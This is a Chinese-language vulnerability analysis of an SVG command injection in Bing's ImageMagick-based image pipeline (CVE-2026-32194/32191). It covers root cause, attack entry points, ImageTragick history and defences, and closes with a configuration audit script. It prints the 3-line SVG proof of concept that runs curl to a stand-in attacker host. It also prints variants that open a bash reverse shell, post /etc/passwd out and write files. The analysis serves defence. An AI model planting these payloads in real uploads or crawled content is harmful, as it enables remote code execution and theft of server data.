Bing图像处理管道CVE-2026-32194：SVG命令注入——ImageMagick delegate机制十年顽疾

摘要

2026 年 7 月 24 日，自主安全初创公司 XBOW 公开了其在当年 3 月发现并报告给微软的一组高危漏洞的技术细节。这组漏洞直击 Microsoft Bing Images 的图像处理管道，其中核心漏洞 CVE-2026-32194 及其姊妹漏洞 CVE-2026-32191 的 CVSS 评分均为 9.8（Critical），类型为 OS Command Injection（操作系统命令注入）。

这两个漏洞的可怕之处在于：Bing 用户无需任何操作——无需登录、无需 cookie、无需任何用户交互——攻击者即可在 Bing 的图像处理服务器上获得最高权限执行任意命令。在 Linux 环境下，PoC 直接以 uid=0 (root) 身份执行；在 Windows Server 2022 Datacenter 上，则以 NT AUTHORITY\SYSTEM 并身处管理员组的方式执行。

本文将从漏洞根因（ImageMagick 的 delegate 机制）、攻击入口、PoC 结构、与 ImageTragick 的历史关联、WAF 失效原因以及防御自查清单等多个维度，对这组漏洞进行系统性技术拆解。

---

一、漏洞概览

属性	详情
CVE 编号	CVE-2026-32194（主）/ CVE-2026-32191（姊妹）
CVSS 评分	9.8（Critical）
漏洞类型	OS Command Injection（命令注入）
影响组件	Microsoft Bing Images 图像处理管道
发现方	XBOW（自主安全初创公司）
服务端修复	2026 年 3 月
公开技术细节	2026 年 7 月 24 日
用户侧要求	无需任何操作
PoC 执行权限	Linux: uid=0 (root)；Windows: NT AUTHORITY\SYSTEM

这组漏洞并非孤立事件。CVE-2026-32194 与 CVE-2026-32191 是同一根因下的两个入口：前者面向公开的图像上传功能，后者面向 Bing 自身的爬虫抓取流程。两者最终都汇入同一条图像处理管道，并触发同一个 delegate 执行缺陷。

---

二、两个攻击入口

理解这组漏洞的关键，在于认识到 Bing 的图像处理管道存在两个互不相关的入口点，且二者都不需要任何形式的身份认证。

入口 A：CVE-2026-32194——"Search by Image" 上传

Bing 提供了一个公开的 "Search by Image"（以图搜图）功能，允许任意互联网用户上传一张图片进行反向搜索。攻击者只需将一个 1 像素大小的恶意 SVG 文件上传至该端点，即可触发漏洞。

• 无需登录账户
• 无需有效 cookie 或 session
• 无需任何用户交互（上传本身即触发）

入口 B：CVE-2026-32191——Bing 爬虫抓取

更具隐蔽性的是第二个入口。攻击者只需在自己控制的服务器上托管一个恶意 SVG 文件，并让 Bing 的爬虫（crawler）自然地发现并抓取它。Bing 的图像索引流水线会自动下载并处理这个文件，从而在 Bing 内部服务器上触发命令执行。

• 攻击者无需主动向 Bing 提交任何请求
• Bing 的正常爬虫行为即构成攻击触发条件
• 受害者（Bing）在完全无感知的情况下被入侵

两个入口殊途同归，最终都把不可信的图像文件送进了同一条 ImageMagick 处理管道。这恰恰是问题所在：管道本身没有把"上传路径"和"抓取路径"都视为不可信输入。

---

三、漏洞根因：ImageMagick delegate 机制

要理解为什么一个看似无害的 SVG 文件能造成 RCE，必须深入 ImageMagick 的 delegate（委托）机制。

3.1 什么是 delegate

ImageMagick 是一个功能极其强大的图像处理库，但它并不亲自实现所有图像格式的编解码。对于某些格式（尤其是 PostScript、PDF、EPS、SVG 等），ImageMagick 会将实际的解析工作"委托"给外部程序完成。例如：

• PostScript / PDF / EPS → 委托给 Ghostscript
• SVG → 委托给内部 SVG coder 或外部渲染器

这些委托关系定义在 delegates.xml 配置文件中。关键在于：delegates 默认是开启的，而且在很多部署中，policy（策略）处于 unrestricted 状态，意味着几乎所有 coder 和 delegate 都被允许调用。

3.2 SVG 的特殊性：XML 可引用外部资源

SVG 本质上是 XML。一个 SVG 文件可以合法地通过 <image> 标签引用外部图像资源。这是 SVG 规范的合法功能，用于将位图嵌入到矢量图中。例如：

<svg xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="https://example.com/photo.jpg" width="100" height="100"/>
</svg>

ImageMagick 在处理 SVG 时，会去解析这个 xlink:href 属性，并尝试加载引用的资源——这是完全符合预期的行为。

3.3 致命的 pipe 字符

问题的核心在于 ImageMagick 的 delegate 处理逻辑如何处理这个引用值。当 xlink:href 的值以 pipe 字符 | 开头时，ImageMagick 的 delegate 机制会将该引用直接传递给 shell（/bin/sh -c 或等价物）执行，而不是当作 URL 去获取。

换言之，pipe 字符之后的整段内容被当作一条系统命令来执行。这是一种典型的"特殊字符未过滤即进入 shell"的命令注入模式——只不过注入点不在 Web 层，而在图像处理库的深处。

xlink:href="|curl http://attacker/$(id)"
              │
              ▼
   delegate 机制识别 "|" 前缀
              │
              ▼
   传递给 shell 执行: curl http://attacker/$(id)
              │
              ▼
   $(id) 被 shell 展开 → 命令执行结果回传攻击者

3.4 为什么 10 年都没修干净

2016 年 ImageTragick（CVE-2016-3714）曝光时，整个安全社区都在讨论 delegate 机制的危险性。ImageMagick 官方引入了 policy.xml 机制，允许管理员禁用危险的 coder（如 SVG、MVG、EPS）。然而：

1. policy 默认并非最严格：许多发行版和容器镜像出厂时仍保留较宽松的 policy，甚至 unrestricted。
2. delegate 机制本身仍在：底层"引用值可传给 shell"的设计没有从根本上被移除，只是靠 policy 来"开关"。
3. 业务方依赖默认配置：大量下游消费者（包括大型互联网公司的图像管道）直接使用发行版默认配置，并未主动收紧。

CVE-2026-32194 正是利用了这一历史遗留：Bing 的图像处理 worker 仍然允许 SVG coder，且 delegate 仍会将 pipe 引用交给 shell。

---

四、PoC 深度分析

XBOW 公开的 PoC 极其简洁——仅 3 行 SVG 代码，文件大小只有 1 像素见方。这种"最小化"特征使其在文件类型检查、大小检查等常规防御面前几乎隐形。

4.1 PoC 结构

<svg xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="|curl http://attacker/$(id)" width="1" height="1"/>
</svg>

逐行拆解：

• 第 1 行：声明 SVG 根元素，绑定标准 svg 与 xlink 命名空间。这是完全合法的 SVG 头部，任何 SVG 校验器都会通过。
• 第 2 行：定义一个 1×1 像素的 <image> 元素。width="1" height="1" 使其在视觉和体积上几乎不可见。
• xlink:href：这是注入核心。值以 | 开头，紧随其后的是一条 shell 命令 curl http://attacker/$(id)。其中 $(id) 是 shell 命令替换，会在目标主机上执行 id 命令并将其输出拼接到 URL 路径中，从而通过 HTTP 请求把执行身份外带（exfiltration）到攻击者控制的服务器。

4.2 执行结果

XBOW 在受影响的 Bing 处理节点上验证了该 PoC：

• Linux 环境：攻击者服务器收到的请求路径中包含 uid=0(root)，表明命令以 root 身份执行。
• Windows Server 2022 Datacenter：收到的回传中显示 NT AUTHORITY\SYSTEM，且进程处于管理员组——这是 Windows 上的最高权限。

一个 1 像素的 SVG，一次图像处理请求，直接拿下图像处理服务器的最高权限。这就是 CVSS 9.8 的含金量。

4.3 攻击链时间线

1. 攻击者构造 3 行 SVG（或托管于自己服务器，或通过"Search by Image"上传）。
2. Bing 管道接收文件，通过文件类型校验（合法 SVG）。
3. WAF 检查 HTTP 请求（恶意 payload 藏在图像 XML 内部，请求层无可疑特征）。
4. 文件进入 ImageMagick 转换 worker。
5. ImageMagick 解析 SVG，遇到 <image xlink:href="|...">。
6. delegate 机制将 | 后内容交给 shell 执行。
7. curl 将 $(id) 结果回传攻击者 C2 服务器。
8. 攻击者获得执行身份确认，可进一步投放持久化 payload。

---

五、SVG Payload 结构剖析

为了让读者更清晰地理解 payload 的构造逻辑，下面对其关键要素做结构化剖析。

5.1 命名空间绑定

xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"

这两个命名空间是 SVG 引用外部资源的标准声明。xlink 命名空间是 xlink:href 属性生效的前提。缺少它，ImageMagick 可能不会解析该属性，也就不会触发 delegate。这是 payload 能稳定工作的基础。

5.2 注入点：xlink:href

xlink:href="|curl http://attacker/$(id)"

组成部分	作用
| (pipe)	触发 delegate 的 shell 执行分支
curl	用于外带数据的工具（目标机常预装）
http://attacker/	攻击者控制的接收服务器
$(id)	shell 命令替换，执行 id 并将输出嵌入 URL

pipe 字符是整个漏洞的"魔法的第一个字符"。在 ImageMagick 的 delegate 处理中，以 | 开头的引用被识别为"需要通过 shell 执行的命令"，而非"需要通过 HTTP 获取的资源"。

5.3 视觉伪装

width="1" height="1"

1×1 像素的尺寸有两个作用：

1. 降低可见性：即使在某些展示场景中渲染，也几乎不可见。
2. 规避基于大小的启发式检测：极小文件往往不在"可疑大文件"的审查范围内。

5.4 变体可能性

基于同一原理，攻击者可构造多种变体：

<!-- 反弹 shell 变体（概念性，不提供完整可用 payload） -->
<image xlink:href="|bash -c 'exec bash -i &>/dev/tcp/attacker/4444 0>&1'"
       width="1" height="1"/>

<!-- 数据外带变体 -->
<image xlink:href="|curl -X POST -d @/etc/passwd http://attacker/"
       width="1" height="1"/>

<!-- 写文件变体 -->
<image xlink:href="|echo 'payload' > /tmp/pwned" width="1" height="1"/>

这些变体说明：只要 delegate 把 pipe 引用交给 shell，攻击者的能力上限就等于该 shell 的权限——而在 Bing 的案例中，那就是 root / SYSTEM。

---

六、与 ImageTragick（CVE-2016-3714）的十年回响

CVE-2026-32194 最令人深思之处，不在于漏洞本身有多新颖，而在于它几乎是 10 年前 ImageTragick 的重演。

6.1 ImageTragick 回顾

2016 年 5 月，CVE-2016-3714（ImageTragick）被披露。该漏洞链利用 ImageMagick 对 MVG、SVG 等格式的处理，通过精心构造的图像文件触发 delegate 执行任意命令。当时的经典 PoC 同样使用了类似机制：图像解析过程中，特殊协议或字符触发 shell 执行。

ImageTragick 当年的 CVSS 同样是 9.8，影响范围极广——任何使用 ImageMagick 处理用户上传图像的系统都受影响。

6.2 十年对比

维度	ImageTragick (2016)	Bing (2026)
CVE 编号	CVE-2016-3714	CVE-2026-32194 / 32191
CVSS	9.8 (Critical)	9.8 (Critical)
影响组件	ImageMagick（通用库）	Microsoft Bing Images 管道
漏洞类型	命令注入 / RCE	命令注入 / RCE
根因机制	delegate 机制 + unrestricted policy	delegate 机制（10 年未根本改变）
攻击载体	MVG / SVG 等图像格式	SVG（1×1 像素）
利用前提	目标处理用户上传图像	Bing 上传 / 爬虫，无需登录
执行权限	视部署而定	root / SYSTEM
触发特征	特殊协议 / 字符	xlink:href 以 | 开头
公开时间	2016 年 5 月	2026 年 7 月 24 日
时间跨度	—	距 ImageTragick 约 10 年

6.3 十年顽疾的根源

为什么 10 年后同样的攻击模式仍然奏效？根本原因在于：

1. delegate 机制是"特性"而非"bug"：让 ImageMagick 能调用外部程序处理复杂格式，是其功能强大的来源。彻底移除会破坏大量合法用例。
2. policy 治理依赖人工配置：安全与否取决于每个部署者是否主动收紧 policy.xml。默认配置的安全性决定了"沉默的大多数"的命运。
3. "图像即数据"的假设过时：传统思维认为图像文件是被动数据，但 SVG（XML）本质上是一种可携带指令的活跃格式。把 SVG 当作"普通图片"处理的管道，天然存在风险。
4. 大型系统的配置漂移：像 Bing 这样复杂的系统，图像处理管道可能由多个团队、多套配置演进而来。某一环节保留宽松 policy，即成为突破口。

---

七、为何 WAF 和文件过滤器形同虚设

这组漏洞的一个显著特征是：它能绕过大多数常规的 Web 层防御。原因在于攻击载荷所处的位置与防御检查的位置存在错位。

7.1 文件类型检查为何通过

恶意文件确实是合法的 SVG。它拥有正确的 XML 声明、合法的命名空间、合规的 <image> 元素。基于 MIME 类型嗅探、文件头魔数检查、甚至 SVG schema 校验，都无法发现异常——因为从 SVG 规范的角度看，这个文件没有任何违规之处。

[文件类型检查]
  ├─ 扩展名 .svg       → 通过
  ├─ MIME image/svg+xml → 通过
  ├─ XML well-formed    → 通过
  └─ SVG schema 合法    → 通过
        │
        ▼
  ❌ 无法发现：xlink:href 中的 pipe 注入语义

7.2 WAF 为何失灵

WAF（Web Application Firewall）主要检查 HTTP 请求层：URL、Header、Body 中的 SQL 注入、XSS、路径遍历等模式。然而：

• 恶意内容在图像 XML 内部：pipe 字符和 shell 命令嵌在 SVG 的属性值里，而非 HTTP 请求的传统注入点。
• WAF 通常不理解 SVG 语义：它看到的是一个合法的文件上传请求，请求体是一段合法 XML。
• 绕过签名匹配：|curl http://attacker/$(id) 这样的字符串，在没有针对"图像内 shell 注入"专门编写规则的情况下，不会命中通用 WAF 规则。

[WAF 检查层]
  ├─ HTTP 请求行/头部    → 无可疑
  ├─ 请求体（文件上传）  → 一段合法 SVG XML
  └─ 通用注入签名        → 不匹配
        │
        ▼
  ❌ 漏洞触发点在"后续转换库读取文件内容时"，WAF 视线之外

7.3 真正的弱点位置

漏洞不在"接收文件"这一步，而在"后续转换库读取文件内容"这一步。WAF 和文件过滤器守在前门，而真正的爆炸物在文件被 ImageMagick 打开的瞬间才被引爆。这是典型的防御纵深断层：前端的检查无法感知后端解析器的行为语义。

---

八、攻击链 ASCII 架构图

下图展示了从攻击者构造 payload 到最终 RCE 并回传数据的完整链路，涵盖两个入口与各防御层的位置。

┌──────────────────────────────────────────────────────────────────────────┐
│                            攻击者 (Attacker)                             │
│   构造 1×1 SVG: <image xlink:href="|curl http://attacker/$(id)"/>        │
└───────────────┬──────────────────────────────────┬───────────────────────┘
                │ 入口 A: 上传                      │ 入口 B: 托管 + 爬虫
                ▼                                   ▼
   ┌────────────────────────┐         ┌─────────────────────────────┐
   │  Bing "Search by       │         │  攻击者服务器托管 SVG       │
   │   Image" 上传端点      │         │  Bing Crawler 自然抓取      │
   │  (无需登录/cookie)     │         │  (无需任何用户交互)         │
   └───────────┬────────────┘         └──────────────┬──────────────┘
               │                                     │
               └─────────────────┬───────────────────┘
                                 ▼
               ┌─────────────────────────────────────────┐
               │      Bing 图像处理管道 (Worker)          │
               │  ┌────────────────────────────────────┐ │
               │  │ [1] 文件类型校验  → 合法 SVG, 通过 │ │  ◀── 防御层 1 (失效)
               │  │ [2] WAF 检查 HTTP → 请求层无可疑  │ │  ◀── 防御层 2 (失效)
               │  └────────────────────────────────────┘ │
               └───────────────────┬─────────────────────┘
                                   ▼
               ┌─────────────────────────────────────────┐
               │   ImageMagick convert / identify        │
               │   读取 SVG, 解析 <image> 标签           │
               │   提取 xlink:href = "|curl ..."        │
               └───────────────────┬─────────────────────┘
                                   ▼
               ┌─────────────────────────────────────────┐
               │   delegate 机制 (delegates.xml)         │
               │   识别 "|" 前缀 → 走 shell 执行分支    │
               │   传递给 /bin/sh -c "curl ..."          │
               └───────────────────┬─────────────────────┘
                                   ▼
               ┌─────────────────────────────────────────┐
               │   命令执行 (RCE)                        │
               │   Linux:        uid=0 (root)            │
               │   Windows Srv:  NT AUTHORITY\SYSTEM     │
               │                 + Administrators 组     │
               └───────────────────┬─────────────────────┘
                                   ▼
               ┌─────────────────────────────────────────┐
               │   curl 将 $(id) 结果外带                │
               │   → HTTP 请求到达攻击者 C2 服务器       │
               │   攻击者确认执行身份, 可进一步渗透      │
               └─────────────────────────────────────────┘

图中清晰可见：两个防御层（文件类型校验、WAF）都位于管道前端，而真正的引爆点（delegate → shell）位于管道深处。这种位置错位是漏洞得以穿透防御的结构性原因。

---

九、对比：ImageTragick 2016 vs Bing 2026

下表从技术维度对两次事件进行系统对比，凸显 delegate 机制"十年顽疾"的延续性。

对比维度	ImageTragick (CVE-2016-3714)	Bing (CVE-2026-32194 / 32191)
披露年份	2016	2026
CVSS 评分	9.8 (Critical)	9.8 (Critical)
受影响组件	ImageMagick（通用图像库）	Microsoft Bing Images 图像处理管道
漏洞类型	命令注入 / RCE	命令注入 / RCE
根因机制	delegate 机制 + unrestricted policy	delegate 机制（底层设计未变）
攻击载体	MVG / SVG 等图像格式	SVG（1×1 像素，3 行代码）
注入触发	特殊协议 / 字符进入 delegate	xlink:href 以 | 开头进入 shell
利用前提	目标处理用户上传图像	Bing 上传端点 / Bing 爬虫
身份认证要求	视应用而定	完全无需登录 / cookie / 交互
PoC 执行权限	视部署而定	Linux: root；Windows: SYSTEM
用户侧影响	受影响应用的用户	Bing 用户（无需任何操作）
官方缓解	引入 policy.xml 机制	服务端修复（2026 年 3 月）
公开技术细节	2016 年 5 月	2026 年 7 月 24 日
时间跨度	—	距 ImageTragick 约 10 年

这张表传递出一个严峻信号：漏洞的表面形态在变，但底层机制十年未变。只要 delegate 机制保留"将引用交给 shell"的能力，且 policy 未被收紧，这类漏洞就会以新的 CVE 编号反复出现。

---

十、防御与自查清单

针对此类 delegate 注入漏洞，防御应当是多层次的。以下自查清单适用于任何使用 ImageMagick（或其 fork 如 GraphicsMagick）处理不可信图像的系统。

10.1 配置层：锁定 policy.xml

最有效的单一措施是收紧 policy.xml，禁用危险的 coder。对于不需要处理 SVG/MVG/EPS 的管道，应显式禁用：

<!-- policy.xml: 禁用高风险 coder -->
<policymap>
  <policy domain="coder" rights="none" pattern="SVG" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="EPS" />
  <policy domain="coder" rights="none" pattern="PS" />
  <policy domain="coder" rights="none" pattern="PDF" />
  <policy domain="coder" rights="none" pattern="XPS" />
  <!-- 禁用 delegate 中的 shell 调用 -->
  <policy domain="path" rights="none" pattern="@*" />
</policymap>

rights="none" 表示完全禁用对应 coder。将 pattern="SVG" 等高风险格式加入后，即使攻击者上传恶意 SVG，ImageMagick 也会拒绝处理，从源头切断 delegate 触发路径。

10.2 配置层：检查 delegates.xml

审计 delegates.xml 中所有涉及 pipe（|）或 shell 调用的命令。任何将用户可控数据拼入 shell 命令的 delegate 都是潜在注入点。

# 查找 delegates.xml 中包含 pipe 的危险命令
grep -nE '\||sh -c|bash -c' /etc/ImageMagick-*/delegates.xml

10.3 架构层：沙箱化转换步骤

图像转换 worker 应运行在沙箱中，限制其能力上限：

• 使用容器（容器内再配 seccomp/AppArmor）
• 降权运行（非 root / 非 SYSTEM）
• 只读文件系统挂载（除必要的临时目录）
• 限制可执行的系统调用集合

10.4 网络层：阻止转换 worker 出站

这是阻断数据外带的关键一环。即使命令被执行，若 worker 无法访问外部网络，curl 等外带手段也会失败：

[转换 Worker 网络策略]
  ├─ 入站: 仅允许来自管道前置组件的连接
  ├─ 出站: 默认拒绝 (default deny)
  └─ 例外: 仅必要的内部服务地址 (白名单)

在 Bing 案例中，若 worker 出站被严格限制，攻击者将无法通过 curl 回传 $(id) 结果，攻击链的可观测性与可用性都会大幅下降。

10.5 输入层：两条路径都视为不可信

这是本次事件最重要的架构教训：

上传路径和抓取路径都必须被视为不可信输入。

许多系统对"用户主动上传"做了较严格的校验，却对"自家爬虫抓取"的内容放松警惕——理由是"这是系统内部行为"。但 Bing 案例证明：爬虫抓取的内容同样来自不受控的外部互联网，其可信度与用户上传等同。两个入口必须施加同等强度的安全处理。

10.6 检测脚本（Python 示例）

以下 Python 脚本可用于自查本地 ImageMagick 安装是否存在危险配置（仅做检测，不修改任何文件）：

#!/usr/bin/env python3
"""
ImageMagick delegate/policy 危险配置自查脚本
用于检测 SVG/MVG 等 coder 是否被禁用、delegates.xml 是否含 pipe 命令。
仅读取配置, 不做任何修改。
"""
import os
import re
import sys
from pathlib import Path

# 常见 ImageMagick 配置目录
CONFIG_CANDIDATES = [
    "/etc/ImageMagick-6",
    "/etc/ImageMagick-7",
    "/usr/local/etc/ImageMagick-6",
    "/usr/local/etc/ImageMagick-7",
    "/opt/homebrew/etc/ImageMagick-7",
]

# 高风险 coder
DANGEROUS_CODERS = ["SVG", "MVG", "EPS", "PS", "PDF", "XPS"]


def find_config(name: str) -> Path | None:
    for d in CONFIG_CANDIDATES:
        p = Path(d) / name
        if p.exists():
            return p
    return None


def audit_policy() -> list[str]:
    """检查 policy.xml 是否禁用了危险 coder"""
    issues = []
    policy = find_config("policy.xml")
    if policy is None:
        issues.append("[!] 未找到 policy.xml, 可能处于 unrestricted 默认状态 (高风险)")
        return issues

    text = policy.read_text(errors="ignore")
    for coder in DANGEROUS_CODERS:
        # 查找 rights="none" 且 pattern 匹配该 coder 的策略
        pattern = re.compile(
            rf'<policy\s+domain="coder"\s+rights="none"\s+pattern="{coder}"',
            re.IGNORECASE,
        )
        if not pattern.search(text):
            issues.append(f"[!] coder '{coder}' 未被 rights=none 禁用")
        else:
            issues.append(f"[+] coder '{coder}' 已禁用")
    return issues


def audit_delegates() -> list[str]:
    """检查 delegates.xml 是否含 pipe / shell 调用"""
    issues = []
    delegates = find_config("delegates.xml")
    if delegates is None:
        issues.append("[!] 未找到 delegates.xml")
        return issues

    for i, line in enumerate(delegates.read_text(errors="ignore").splitlines(), 1):
        if re.search(r'\||sh\s+-c|bash\s+-c', line):
            issues.append(f"[!] delegates.xml:{i} 含 pipe/shell 调用: {line.strip()}")
    return issues


def main() -> int:
    print("=" * 60)
    print("ImageMagick delegate 注入风险自查")
    print("=" * 60)

    print("\n[1] policy.xml 审计:")
    for msg in audit_policy():
        print(f"  {msg}")

    print("\n[2] delegates.xml 审计:")
    for msg in audit_delegates():
        print(f"  {msg}")

    print("\n建议: 禁用不需要的 coder, 审计所有 pipe 命令, 沙箱化 worker, 限制出站网络。")
    return 0


if __name__ == "__main__":
    sys.exit(main())

运行该脚本可快速定位本地 ImageMagick 是否保留了 SVG coder、delegates.xml 是否存在 pipe 命令。在任何引入图像处理管道的 CI/CD 流程中嵌入此类检查，能有效防止"默认配置即漏洞"的回归。

10.7 自查清单速查表

序号	检查项	期望状态
1	policy.xml 中 SVG coder	rights="none" 已禁用
2	policy.xml 中 MVG/EPS/PS/PDF coder	rights="none" 已禁用（如不需要）
3	delegates.xml 中的 pipe 命令	已审计并移除/替换
4	转换 worker 运行权限	非 root / 非 SYSTEM
5	转换 worker 沙箱化	容器 + seccomp/AppArmor
6	转换 worker 出站网络	默认拒绝 + 白名单
7	上传路径输入校验	已视为不可信
8	抓取路径输入校验	已视为不可信（与上传同等）
9	ImageMagick 版本	已更新至含修复的版本
10	是否真正需要 SVG 处理	评估能否用更安全的替代方案

---

十一、更广泛的启示

CVE-2026-32194 的价值不仅在于它是一个具体的 Bing 漏洞，更在于它是一面镜子，映照出整个行业在处理"不可信输入"时的系统性盲区。

11.1 "数据"与"代码"的边界模糊

SVG、MVG、EPS 这类格式处于"数据"与"代码"的灰色地带：它们既是图像，又是可携带指令的标记语言。任何将它们当作纯数据处理的管道，都低估了其表达能力。安全工程的一个基本原则应当是：凡是图灵完备或可引用外部资源的"数据"格式，都应按"代码"对待。

11.2 默认配置的公共责任

ImageTragick 之后 10 年，仍然有大型互联网服务因默认/宽松配置而中招，这说明"安全默认值"不仅是软件项目自身的事，更是整个供应链的公共责任。上游库的默认 policy、发行版的打包选择、容器基础镜像的配置——每一环都决定了下游数以万计部署的安全性。

11.3 纵深防御的位置感

Bing 案例最深刻的教训之一是：防御层的位置必须覆盖攻击链的引爆点，而不仅是入口。文件类型校验和 WAF 守在前门，但爆炸物在解析器内部引爆。真正的纵深防御要求在"解析与执行"这一层也部署控制——禁用危险 coder、限制 delegate、沙箱化解析器、切断外带通道——四道关卡缺一不可。

11.4 自主安全的启示

XBOW 作为一家"自主安全"初创公司发现了此漏洞，这本身也传递出信号：在日益复杂的云服务攻击面面前，传统的人工渗透测试越来越难以覆盖所有路径。自动化、持续化的安全验证（尤其是针对非显式入口如爬虫抓取流的验证）正成为发现此类深层漏洞的必要手段。

---

结语

CVE-2026-32194 与 CVE-2026-32191 是 ImageMagick delegate 机制十年顽疾的最新临床表现。它们证明了一件事：只要"将引用交给 shell"的设计还在，只要 policy 还依赖人工收紧，只要图像处理管道还把 SVG 当作普通图片，这类漏洞就会换一个新的 CVE 编号卷土重来。

对于 Bing 而言，这是一次 CVSS 9.8 的严重事件；对于整个行业而言，这是一次迟到了 10 年的提醒。技术团队真正应当带走的，不是"又有一个 CVE 要打补丁"，而是重新审视自己系统中所有"数据解析器调用外部程序"的环节——从图像到文档，从字体到多媒体——凡是 delegate，凡是 shell 调用，都值得一次彻底的、带着敌意假设的审计。

毕竟，下一个 1 像素的 SVG，可能正躺在某个爬虫的待处理队列里。

---

免责声明：本文仅出于安全研究与防御目的对已公开漏洞（2026 年 7 月 24 日由 XBOW 公开技术细节，微软已于 2026 年 3 月完成服务端修复）进行分析。文中 PoC 结构为说明性引用，不提供可直接用于攻击的完整可用 payload。读者应将本文内容用于加固自有系统。